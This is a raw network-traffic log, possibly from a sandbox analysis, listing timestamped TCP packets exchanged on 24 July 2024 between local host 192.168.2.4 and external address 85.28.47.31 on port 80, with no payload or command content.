Jul 24, 2024 02:39:05.875103951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875121117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875135899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875154018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875168085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875188112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875200987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875235081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875602961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875636101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875663996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875684023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875711918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875745058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875761032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875778913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875797033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875813007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875828028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875845909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875863075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875878096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875891924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875911951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875926018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875945091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875957966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875977993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875999928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876010895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876024008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876044035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876056910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876076937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876094103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876108885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876123905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876142979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876159906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876178026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876198053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876225948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876559019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876593113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876620054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876626968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876636982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876660109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876668930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876688957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876714945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876722097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876734972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876775980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876794100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876825094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876853943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876858950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876878023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876898050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876907110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876940012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876966000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.876972914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.876985073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.877006054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.877032042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.877038956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.877055883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.877084017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964201927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964252949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964303017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964363098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964364052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964396954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964413881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964431047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964447021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964485884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964518070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964567900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964576960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964628935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964631081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964665890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964679956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964699030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964716911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964734077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964745998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964767933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964801073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964803934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964837074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964867115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964874983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964899063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964907885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964935064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964942932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.964951992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.964997053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965014935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965034962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965044975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965069056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965084076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965104103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965116024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965137959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965152979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965173006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965183973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965208054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965238094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965241909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965256929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965276957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965295076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965311050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965321064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965348959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965358019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965394020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965454102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965486050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965503931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965522051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965536118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965604067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965619087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965639114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965653896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965679884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965708971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965713978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965728045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965749025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965764999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965783119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965801001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965817928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965832949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965852976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965867043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965888977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965914011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965923071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965934992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965956926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.965984106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.965991974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966001987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966039896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966161013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966195107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966226101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966229916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966245890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966280937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966340065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966372967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966401100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966408014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966419935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966442108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966465950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966496944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966515064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966532946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966546059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966567993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966584921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966603041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966639996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966671944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966681957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966705084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966737986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966742039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966770887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966772079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966804028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966820002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966837883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966862917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966870070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966902018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966903925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.966928959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.966952085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967360020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967417002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967441082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967466116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967477083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967502117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967535019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967539072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967571974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967575073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967605114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967612028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967632055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967638969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967664957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967674971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967705011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967708111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967736006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967741966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967757940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967775106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967791080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967808962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967833042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967843056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967856884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967876911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967890024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967911005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.967922926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.967956066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968369961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968404055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968436956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968468904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968521118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968542099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968554020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968588114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968620062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968652964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968678951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968684912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968718052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968744993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968750954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968769073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968785048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968811989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968820095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968842983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968852997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968871117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968888044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968900919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968921900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.968941927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.968971014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969212055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969263077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969268084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969295979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969320059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969327927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969345093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969362020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969377041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969396114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969417095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969424963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969444990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969460964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969482899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969495058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969516039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969531059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969547033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969566107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969583035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969599962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969615936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969635963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969650984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969671965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.969690084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.969732046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.058646917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058691978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058801889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058820009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058835983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058851957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058867931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058881998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.058885098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058901072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058918953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058934927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.058969021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059020042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059039116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059056044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059072018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059087992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059103966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059119940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059138060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059245110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059324980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059365988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059387922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059417963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059452057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059475899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059485912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059523106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059591055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059623957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059655905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059658051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059684992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059695005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059703112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059731007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059758902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059781075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059890032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059922934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059948921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059957027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.059983015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.059992075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060005903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060024977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060051918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060059071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060075045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060094118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.060107946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.060127974 CEST	80	49730	85.28.47.31	192.168.2.4
